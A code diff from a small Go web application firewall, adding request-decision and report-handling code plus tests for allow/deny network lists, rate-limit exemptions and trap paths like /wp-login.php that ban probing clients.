+	held, _ := h.awaitingReport.ContainsOrAdd(id, nil)
+	if held {
+		h.refuseQuestion(w, requestIDHeader+" is the id of a request servewaf holds")
+
+		return netip.Addr{}, nil, false
+	}
+
+	return client, body, true
+}
+
+// refuseQuestion answers a question servewaf does not take, for reason.
+func (h *handler) refuseQuestion(w http.ResponseWriter, reason string) {
+	h.processLog.Warn("a question is refused", "reason", reason)
+	http.Error(w, reason, http.StatusBadRequest)
+}
+
+// asTheVisitorSentIt returns a copy of r, a question, as the checks and the
+// log line are to see it: without the headers rproxy adds for servewaf, with
+// body, which has been read of r, and with the length the visitor announced,
+// as -1 when it announced none. The question's own length covers only the part
+// of the body it carries.
+func asTheVisitorSentIt(r *http.Request, body []byte) *http.Request {
+	sent := r.Clone(r.Context())
+	announced := sent.Header.Get(ContentLengthHeader)
+
+	sent.Header.Del(ClientHeader)
+	sent.Header.Del(PeerHeader)
+	sent.Header.Del(ContentLengthHeader)
+	sent.Header.Del("Content-Length")
+
+	sent.ContentLength = -1
+
+	length, err := strconv.ParseInt(announced, 10, 64)
+	if err == nil && length >= 0 {
+		sent.ContentLength = length
+		sent.Header.Set("Content-Length", announced)
+	}
+
+	sent.Body = http.NoBody
+	if len(body) > 0 {
+		sent.Body = io.NopCloser(bytes.NewReader(body))
+	}
+
+	return sent
+}
+
+// allow answers a question with DispositionAllow and, while
+// SWWAF_ADD_LOOKUP_HEADERS is set, the client's AS number and country.
+func (rq *request) allow() {
+	rq.allowed = true
+
+	header := rq.out.Header()
+	header.Set(DispositionHeader, DispositionAllow)
+
+	if rq.h.config.AddLookupHeaders {
+		setLookupHeaders(header, rq.line.ASN, rq.line.Country)
+	}
+
+	rq.out.WriteHeader(http.StatusOK)
+}
+
+// holdForReport holds a copy of what the report's steps need, by the request's
+// id. A report only ever reaches that copy, never the request being handled.
+func (rq *request) holdForReport() {
+	held := rq.decision
+	rq.h.awaitingReport.Add(rq.line.RequestID, &held)
+}
+
+// deny answers a question with what the visitor is to get for r.
+func (rq *request) deny(r refusal) {
+	rq.refused = &r
+
+	if r.status == 0 {
+		// SWWAF_BAN_RESPONSE is close. Written past rq.out, since the log line's
+		// status stays 0: the visitor is sent nothing.
+		rq.out.Header().Set(DispositionHeader, DispositionClose)
+		rq.out.ResponseWriter.WriteHeader(http.StatusOK)
+
+		return
+	}
+
+	rq.out.Header().Set(DispositionHeader, DispositionDeny)
+	http.Error(rq.out, http.StatusText(r.status), r.status)
+}
+
+// answerOwnEndpoint answers a request to servewaf's own address. No check
+// runs on it: the address is on the private network, where the peers are
+// rproxy and the admin's tools, not visitors.
+func (h *handler) answerOwnEndpoint(w http.ResponseWriter, r *http.Request) {
+	if r.Method == http.MethodPost && r.URL.Path == ReportPath {
+		h.takeReport(w, r)
+
+		return
+	}
+
+	peer := peerAddress(r)
+
+	rq := h.startRequest(w, r, peer, peer, false)
+	defer rq.finish()
+
+	if r.Method == http.MethodGet && r.URL.Path == HealthPath {
+		rq.answerHealth()
+
+		return
+	}
+
+	rq.answerAdmin()
+}
+
+// takeReport answers POST ReportPath: it finishes the request the report
+// names, if it holds that request's decision, and ignores the report
+// otherwise.
+func (h *handler) takeReport(w http.ResponseWriter, r *http.Request) {
+	report, err := readReport(w, r)
+	if err != nil {
+		h.processLog.Warn("a report is refused", "error", err.Error())
+		http.Error(w, "the body is not a report", http.StatusBadRequest)
+
+		return
+	}
+
+	held, found := h.awaitingReport.Peek(report.RequestID)
+	// Remove reports true to one report only, of several that name the id. A
+	// question still being handled is held as nil.
+	if found && held != nil && h.awaitingReport.Remove(report.RequestID) {
+		h.finishWith(held, report)
+	}
+
+	w.WriteHeader(http.StatusNoContent)
+}
+
+// readReport reads a report from r's body, which must be one JSON object with
+// all of Report's fields, in the ranges SPEC.md gives.
+func readReport(w http.ResponseWriter, r *http.Request) (Report, error) {
+	var report Report
+
+	body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, reportBodyMaxBytes))
+	if err != nil {
+		return report, fmt.Errorf("read the body: %w", err)
+	}
+
+	var fields map[string]json.RawMessage
+
+	err = json.Unmarshal(body, &fields)
+	if err != nil {
+		return report, fmt.Errorf("decode the body: %w", err)
+	}
+
+	for _, name := range []string{
+		"request_id", "status", "request_bytes", "response_bytes",
+		"duration_total", "duration_upstream_total",
+	} {
+		value, there := fields[name]
+		if !there || string(value) == "null" {
+			return report, fmt.Errorf("%w: %s", errReportFieldMissing, name)
+		}
+	}
+
+	err = json.Unmarshal(body, &report)
+	if err != nil {
+		return report, fmt.Errorf("decode the body: %w", err)
+	}
+
+	return report, report.checkRanges()
+}
+
+// checkRanges returns an error for a value of the report that cannot be true.
+func (report *Report) checkRanges() error {
+	switch {
+	case report.Status != 0 &&
+		(report.Status < http.StatusContinue || report.Status > maxHTTPStatus):
+		return fmt.Errorf("%w: status", errReportValue)
+	case report.RequestBytes < 0 || report.RequestBytes > maxReportedBytes:
+		return fmt.Errorf("%w: request_bytes", errReportValue)
+	case report.ResponseBytes < 0 || report.ResponseBytes > maxReportedBytes:
+		return fmt.Errorf("%w: response_bytes", errReportValue)
+	case report.DurationTotal < 0 || report.DurationTotal > maxReportedMilliseconds:
+		return fmt.Errorf("%w: duration_total", errReportValue)
+	case report.DurationUpstreamTotal < 0 ||
+		report.DurationUpstreamTotal > maxReportedMilliseconds:
+		return fmt.Errorf("%w: duration_upstream_total", errReportValue)
+	}
+
+	return nil
+}
+
+// finishWith finishes a request with what its report says, and writes the
+// request's last log line, which holds its decision's fields and the report's.
+// For an allowed request it first counts the request's bytes, and adds it to its
+// client's history, the anomaly counters and the metrics, with the status and
+// bytes the report gives. A denied request's counting was finished at its
+// decision.
+func (h *handler) finishWith(held *decision, report Report) {
+	rq := &request{
+		decision:     *held,
+		h:            h,
+		out:          &responseWriter{status: report.Status, bytes: report.ResponseBytes},
+		requestBytes: report.RequestBytes,
+	}
+
+	rq.line.ServeWAFLine = requestlog.ServeWAFLineReport
+	rq.line.Status = report.Status
+	rq.line.RequestBytes = report.RequestBytes
+	rq.line.ResponseBytes = report.ResponseBytes
+	rq.line.DurationTotal = report.DurationTotal
+
+	if rq.allowed {
+		rq.line.DurationUpstreamTotal = &report.DurationUpstreamTotal
+
+		rq.countBytes()
+		rq.countAnomalies()
+		rq.addToHistory()
+
+		rq.h.metrics.RequestReported(&rq.line,
+			time.Duration(report.DurationTotal*float64(time.Millisecond)),
+			time.Duration(report.DurationUpstreamTotal*float64(time.Millisecond)))
+	}
+
+	rq.writeLine()
+}

internal/servewaf/staticlists_test.go

@@ -0,0 +1,172 @@
+package servewaf_test
+
+import (
+	"net/http"
+	"strings"
+	"sync/atomic"
+	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// The rate limits count an IPv6 client by its /64, so these two addresses
+// are one client for them. The static lists match each address on its own,
+// and the tests list listedAddr alone.
+const (
+	listedAddr   = "2001:db8::1"
+	unlistedAddr = "2001:db8::2"
+)
+
+func TestAllowNetsSkipEveryCheck(t *testing.T) {
+	t.Parallel()
+
+	var calls atomic.Int32
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {
+		calls.Add(1)
+	})
+	geojsURL, asked := startGeoJS(t)
+	// fromKP is in SWWAF_ALLOW_NETS, and in SWWAF_DENY_NETS too, which
+	// comes after it.
+	addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
+		trustedProxies:     trustLocalhost,
+		allowNets:          "198.51.100.0/24",
+		denyNets:           fromKP,
+		deniedCountries:    "kp",
+		rateLimitPerMinute: "1",
+	})
+
+	// Neither SWWAF_DENY_NETS, the country lists nor the limit of one
+	// request a minute refuses the client, and its country is not looked
+	// up.
+	wantAnswers(t, addr, out, []sentRequest{
+		{fromKP, http.StatusOK, requestlog.ActionForward},
+		{fromKP, http.StatusOK, requestlog.ActionForward},
+	})
+
+	if len(asked()) != 0 {
+		t.Errorf("GeoJS was asked about %v, want nothing", asked())
+	}
+
+	if calls.Load() != 2 {
+		t.Errorf("the app was called %d times, want 2", calls.Load())
+	}
+}
+
+func TestRequestFromAllowNetsIsNotCounted(t *testing.T) {
+	t.Parallel()
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+	addr, out := startProxy(t, app.URL, map[string]string{
+		trustedProxies:     trustLocalhost,
+		allowNets:          listedAddr,
+		rateLimitPerMinute: "1",
+	})
+
+	// listedAddr's requests are not counted, so the first request from
+	// unlistedAddr is within the limit of one a minute.
+	wantAnswers(t, addr, out, []sentRequest{
+		{listedAddr, http.StatusOK, requestlog.ActionForward},
+		{listedAddr, http.StatusOK, requestlog.ActionForward},
+		{unlistedAddr, http.StatusOK, requestlog.ActionForward},
+		{unlistedAddr, http.StatusForbidden, requestlog.ActionRateLimited},
+	})
+}
+
+func TestDenyNetsRefuseBeforeTheLookup(t *testing.T) {
+	t.Parallel()
+
+	var calls atomic.Int32
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {
+		calls.Add(1)
+	})
+	geojsURL, asked := startGeoJS(t)
+	addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
+		trustedProxies:  trustLocalhost,
+		denyNets:        "203.0.113.0/24",
+		deniedCountries: "kp",
+	})
+
+	req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body"))
+	req.Header.Set(forwardedFor, fromDE)
+	wantStatus(t, do(t, req), http.StatusForbidden)
+
+	line := out.endedLine(t)
+	wantLine(t, line, http.StatusForbidden, requestlog.ActionDenied)
+
+	if len(asked()) != 0 {
+		t.Errorf("GeoJS was asked about %v, want nothing", asked())
+	}
+
+	if calls.Load() != 0 {
+		t.Errorf("the app was called %d times, want none", calls.Load())
+	}
+}
+
+func TestRequestRefusedByDenyNetsIsNotCounted(t *testing.T) {
+	t.Parallel()
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+	addr, out := startProxy(t, app.URL, map[string]string{
+		trustedProxies:     trustLocalhost,
+		denyNets:           listedAddr,
+		rateLimitPerMinute: "1",
+	})
+
+	// listedAddr's refused requests are not counted, so the first request
+	// from unlistedAddr is within the limit of one a minute.
+	wantAnswers(t, addr, out, []sentRequest{
+		{listedAddr, http.StatusForbidden, requestlog.ActionDenied},
+		{listedAddr, http.StatusForbidden, requestlog.ActionDenied},
+		{unlistedAddr, http.StatusOK, requestlog.ActionForward},
+		{unlistedAddr, http.StatusForbidden, requestlog.ActionRateLimited},
+	})
+}
+
+func TestRateLimitExemptNetsAreNeitherCountedNorRefused(t *testing.T) {
+	t.Parallel()
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+	geojsURL, _ := startGeoJS(t)
+	addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
+		trustedProxies:      trustLocalhost,
+		lookupTimeout:       "1h",
+		rateLimitExemptNets: listedAddr + "," + fromKP,
+		deniedCountries:     "kp",
+		rateLimitPerMinute:  "1",
+	})
+
+	// listedAddr's requests are neither refused nor counted, so the first
+	// request from unlistedAddr is within the limit of one a minute. The
+	// country lists still refuse an exempt client.
+	wantAnswers(t, addr, out, []sentRequest{
+		{listedAddr, http.StatusOK, requestlog.ActionForward},
+		{listedAddr, http.StatusOK, requestlog.ActionForward},
+		{unlistedAddr, http.StatusOK, requestlog.ActionForward},
+		{unlistedAddr, http.StatusForbidden, requestlog.ActionRateLimited},
+		{fromKP, http.StatusForbidden, requestlog.ActionCountryDenied},
+	})
+}
+
+// sentRequest is a GET request from client, as X-Forwarded-For names it,
+// and the status and log line action it should get.
+type sentRequest struct {
+	client string
+	status int
+	action string
+}
+
+// wantAnswers sends requests to smallwebwaf at addr one after another and
+// checks each one's answer and log line. They must be the first requests
+// smallwebwaf is sent, since the log lines are matched to them in order.
+func wantAnswers(t *testing.T, addr string, out *output, requests []sentRequest) {
+	t.Helper()
+
+	for i, sent := range requests {
+		req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
+		req.Header.Set(forwardedFor, sent.client)
+		wantStatus(t, do(t, req), sent.status)
+		wantLine(t, out.endedLines(t, i+1)[i], sent.status, sent.action)
+	}
+}

internal/servewaf/trappaths_test.go

@@ -0,0 +1,130 @@
+package servewaf_test
+
+import (
+	"net/http"
+	"net/netip"
+	"reflect"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// trapPaths is the setting's name, and trapPathList what the tests set it
+// to.
+const (
+	trapPaths    = "SWWAF_TRAP_PATHS"
+	trapPathList = "/wp-login.php,/xmlrpc.php"
+)
+
+func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
+	t.Parallel()
+
+	const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
+
+	// A block rule for the same path: the trap path comes first.
+	s, clk, server := startWithClock(t, "", map[string]string{
+		trapPaths:   trapPathList,
+		rulesDir:    writeRules(t, `wp  path  block  ^/wp-login\.php$`),
+		allowNets:   allowed,
+		banResponse: "429",
+	})
+	start := clk.Now()
+
+	// Only the path itself, the whole of it in the same case, is a trap
+	// path.
+	for _, path := range []string{"/wp-login.php/", "/WP-LOGIN.PHP", "/blog/xmlrpc.php"} {
+		s.request(otherClient, path, http.StatusOK, requestlog.ActionForward)
+	}
+
+	// A client in SWWAF_ALLOW_NETS is not checked.
+	s.request(allowed, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
+
+	// The query is not part of the path.
+	line := s.request(client, "/wp-login.php?redirect_to=x", http.StatusTooManyRequests,
+		requestlog.ActionBanned)
+	wantRuleIDs(t, line)
+
+	if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) {
+		t.Errorf("log line has ban_expires %q, want seven days on", line.BanExpires)
+	}
+
+	netblock := netip.MustParsePrefix(client + "/32")
+	want := bans.Ban{
+		Netblock: netblock,
+		Start:    start,
+		Expires:  start.Add(7 * 24 * time.Hour),
+		Cause:    bans.CauseAttack,
+		Reason:   "asked for the trap path /wp-login.php",
+		Notes: bans.Notes{
+			TrapPath: "/wp-login.php",
+			Request: bans.Request{
+				Time:      start,
+				Method:    http.MethodGet,
+				Host:      appHost,
+				Path:      "/wp-login.php?redirect_to=x",
+				Status:    http.StatusTooManyRequests,
+				UserAgent: userAgent,
+			},
+			Requests: 1,
+		},
+	}
+
+	got := server.Ledger.Bans(netblock)
+	if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
+		t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
+	}
+
+	// The next request is refused under the ban, and makes it permanent.
+	line = s.get(client, http.StatusTooManyRequests, requestlog.ActionBanned)
+	if line.BanExpires != permanent {
+		t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
+	}
+}
+
+func TestTrapPathMatchesThePathDecodedOnce(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{trapPaths: trapPathList})
+
+	// %2577 decodes once to %77, not to w.
+	s.request(otherClient, "/%2577p-login.php", http.StatusOK, requestlog.ActionForward)
+	s.request(client, "/%77p-login.php", http.StatusForbidden, requestlog.ActionBanned)
+
+	// The ban's notes give the path as the client sent it.
+	got := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
+	if len(got) != 1 || got[0].Notes.TrapPath != "/%77p-login.php" {
+		t.Fatalf("bans %+v, want one whose notes give the trap path /%%77p-login.php", got)
+	}
+}
+
+func TestTrapPathsNeedNoRuleFiles(t *testing.T) {
+	t.Parallel()
+
+	s, _, _ := startWithClock(t, "", map[string]string{
+		trapPaths:             trapPathList,
+		"SWWAF_RULES_ENABLED": "false",
+	})
+
+	s.request(client, "/xmlrpc.php", http.StatusForbidden, requestlog.ActionBanned)
+}
+
+func TestObserveModeLogsWhatATrapPathWouldDo(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{
+		trapPaths: trapPathList,
+		mode:      observe,
+	})
+
+	line := s.request(client, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
+	wantWouldAction(t, line, requestlog.ActionBanned)
+
+	// No ban was made.
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+
+	if got := server.Ledger.Snapshot(); len(got) != 0 {
+		t.Errorf("bans %+v, want none", got)
+	}
+}